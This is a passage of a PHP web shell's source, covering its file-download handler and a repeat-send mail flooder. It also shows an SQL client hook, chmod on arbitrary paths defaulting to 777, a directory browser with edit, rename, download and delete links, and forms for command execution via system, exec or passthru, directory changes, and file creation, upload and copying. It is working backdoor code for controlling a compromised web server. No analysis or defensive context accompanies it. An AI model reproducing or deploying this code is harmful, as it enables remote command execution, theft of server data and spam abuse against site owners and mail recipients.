1114header("Content-Disposition: attachment; filename=" . $file);
1115header("Content-Type: application/download");
1116header("Content-Length: " . filesize($file));
1117flush();
1118
1119$fp = fopen($file, "r");
1120while (!feof($fp))
1121{
1122 echo fread($fp, 65536);
1123 flush();
1124}
1125fclose($fp);
1126}
1127
1128if ($_GET['do']=="mail"){
1129echo $head.'
1130<form method=post action="'.$me.'">
1131<p align="center">
1132Address : <input type="text" name="admail" size="50"><br><br>Subject : <input type="text" name="submail" size="50"><br><br><textarea cols=70 rows=18 name=textmail>Text</textarea><br><br>Number For Send : <input type="text" name="numail" size="5" value=1><input type=submit value=Send!></form>'.$end;exit;}
1133if ($_POST['admail'] && $_POST['submail'] ){
1134for($mi=0;$mi<intval($_POST['numail']);$mi++){
1135mail($_POST['admail'], $_POST['submail'], $_POST['textmail']);}
1136}
1137if($_GET['do']=="db"){
1138echo $head;sqlclienT();echo $end;
1139exit;
1140}
1141if($_REQUEST['file2ch'] && $_REQUEST['chmodnow']){
1142$chmodnum2=$_REQUEST['chmodnow'];
1143chmod($_REQUEST['file2ch'],"0".$chmodnum2);
1144}
1145if($_GET['do']=="chmod"){
1146echo $head.$formg.$nowaddress."<p align=center><b>Chmod</b><br><input size=50 name=file2ch value='".$_REQUEST['address'].$_REQUEST['filename']."'> To <input name=chmodnow size=1 value=777><br><input type=submit value=Set></form>".$end;exit;
1147
1148}
1149/* if($_GET['do']=="edit"){
1150if($_GET['filename']=="dir"){
1151if(is_readable($_GET['address'])){
1152chdir($_GET['address']);}else{alert("Permission Denied !");}
1153
1154}} */
1155$araddresss=explode($slash,getcwd());
1156$matharrayy=count($araddresss)-1;
1157$addr1backk=str_replace($araddresss[$matharrayy],"",$araddresss);
1158for($countback=0;$countback<count($addr1backk);$countback++){
1159$arraybacke[$countback]=$slash.$addr1backk[$countback];
1160$backdirunixx=$backdirunixx.$slash.$addr1backk[$countback];
1161}
1162if ($slash=="\\"){
1163$countback=null;
1164$backdirwin=null;
1165for($countback=1;$countback<count($addr1backk);$countback++){
1166$backdirwin=$backdirwin."\\".$addr1backk[$countback];}
1167$backdirwin=$addr1backk[0].$backdirwin;
1168$backaddresss=$backdirwin;
1169}else{
1170$countback=null;
1171$backdirwin=null;
1172for($countback=1;$countback<count($addr1backk);$countback++){
1173$backdirwin=$backdirwin."/".$addr1backk[$countback];}
1174$backdirwin=$addr1backk[0].$backdirwin;
1175$backaddresss=$backdirwin;
1176$backaddresss=str_replace("\\","/",$backaddresss);
1177}
1178function calc_dir_size($path)
1179{
1180$size = 0;
1181if ($handle = opendir($path))
1182{
1183while (false !== ($entry = readdir($handle)))
1184{
1185$current_path = $path . '/' . $entry;
1186if ($entry != '.' && $entry != '..' && !is_link($current_path))
1187{
1188if (is_file($current_path))
1189$size += filesize($current_path);
1190elseif (is_dir($current_path))
1191$size = calc_dir_size($current_path);
1192}
1193}
1194}
1195closedir($handle);
1196return $size;
1197}
1198function openf($parsef){
1199global $basep,$slash;
1200
1201if(strlen(strpos(getcwd(),$basep))>=1){
1202$rr=str_replace($basep,"",getcwd());
1203$rr=str_replace("\\","/",$rr);
1204$diropen='<a href="'.$rr."/".$parsef.'">'.$parsef.'</a>';
1205}else{
1206$diropen='<a href="?do=edit&address='.getcwd().$slash.'&filename='.$parsef.'">'.$parsef.'</a>';
1207}
1208return $diropen;
1209}
1210if ($_GET['address']){$ifget=$_GET['address'];}if($_POST['address']){$ifget=$_POST['address'];}
1211if($cwd==''){$cwd=getcwd();}$nowaddress='<input type=hidden name=address value="'.$cwd.'">';
1212$ad=getcwd();
1213$hand=opendir("$ad");
1214$coi=0;
1215$coi2=0;
1216
1217while (false !== ($fileee = readdir($hand))) {
1218
1219
1220 if ($fileee != "." && $fileee != "..") {
1221 if (filetype($fileee)=="dir"){
1222 if ($coi %2){
1223$colort='"#e7e3de"';
1224}else{
1225$colort='"#e4e1de"';
1226
1227}
1228$coi++;
1229$fil=$fil.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 0px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="1" dir="ltr">
1230<tr onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$oo.'\';"><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><img src="data:image/png;base64,' .$picdir. '" /> <a href="?address='.$cwd.$slash.$fileee.$slash.'">'.$fileee.'</b></span></td>
1231<td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt">'.date("y/m/d", filectime($fileee)).'</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt">'.substr(sprintf('%o', fileperms($cwd.$slash."$fileee")), -3).'</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="22"><font face="Tahoma" style="font-size: 9pt"><a href="?do=down&type=dir&address='.$cwd.$slash.'&dirname='.$fileee.'">DL</a></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=rename&address='.$cwd.$slash.'&filename='.$fileee.'">Ren</a></td>
1232<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=delete&type=dir&address='.$cwd.$slash.'&filename='.$fileee.'">Del</a></td></tr></table>'
1233;}
1234else{
1235
1236 if ($coi2 %2){
1237$colort='"#e7e3de"';
1238}else{
1239$colort='"#e4e1de"';
1240}
1241
1242$coi2++;
1243$file=$file.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 0px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="20" dir="ltr">
1244<tr onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$oo.'\';"><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><img src="data:image/png;base64,' .$picfile. '" /> '.openf($fileee).'</span></td>
1245<td valign="top" height="19" width="80"><font face="Tahoma" style="font-size: 9pt">'.sizee(filesize($fileee)).'</td><td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt">'.date("y/m/d", filectime($fileee)).'</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt">'.substr(sprintf('%o', fileperms($cwd.$slash."$fileee")), -3).'</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=edit&address='.$cwd.$slash.'&filename='.$fileee.'">Edit</a></td><td valign="top" height="19" width="23"><font face="Tahoma" style="font-size: 9pt"><a href="?do=down&type=file&address='.$cwd.$slash.'&filename='.$fileee.'">DL</a></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=rename&address='.$cwd.$slash.'&filename='.$fileee.'">Ren</a></td>
1246<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=delete&type=file&address='.$cwd.$slash.'&filename='.$fileee.'">Del</a></td></tr></table>'
1247;}
1248}
1249}
1250echo $head.'
1251<font face="Tahoma" style="font-size: 6pt"><table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr">
1252<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><font color=#4a7af4>Now Directory : '.getcwd()."<br>".printdrive().'<br><a href="?do=back&address='.$backaddresss.'"><font color=#000000>Back</span></td>
1253</tr></table>'.$fil.$file.'</table>
1254<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5">
1255<tr>
1256<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
1257<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Command Execute : </font></td>
1258<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input type=hidden name=address value='.getcwd().'><input name=command value=id size=50><input type=hidden name=do value=cmd size=50> <select name=execmethod>
1259 <option value="system">System</option> <option value="exec">Exec</option> <option value="passthru">Passthru</option>
1260</select> <input type=submit value="Execute"></form></td></tr>
1261<tr>
1262<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
1263<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Change Dir : </font></td>
1264<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=address value='.getcwd().$slash.' size=50>
1265<input type=submit value=Change></form></td></tr>
1266<tr>
1267<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
1268<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Create Dir : </font></td>
1269<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=cdirname value='.getcwd().$slash.' size=50><input type=hidden name=address value='.getcwd().'><input type=submit value=" Create "></form></td></tr>
1270<tr>
1271<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
1272<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Create File : </font></td>
1273<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=cfilename value='.getcwd().$slash.' size=50> <input type=hidden name=address value='.getcwd().'><input type=submit value=" Create "></form></td></tr>
1274<tr></form>
1275<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
1276<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Upload : </font></td>
1277<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><form action="'.$me.'" method=post enctype=multipart/form-data>'.$nowaddress.'
1278<font face="Tahoma" style="font-size: 10pt"><input size=40 type=file name=filee > <input type=hidden name=address value='.getcwd().'>
1279<input type=submit value=Upload /></form></td></tr>
1280<tr>
1281<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
1282<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Copy File : </font></td>
1283<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input size=20 name=copyname><input type=hidden name=address value="'.getcwd().'"> To <input size=40 name=cpyto value="'.getcwd().$slash.'"> <input type=submit value =Copy></form></td></tr>
1284'.$end;
1285?>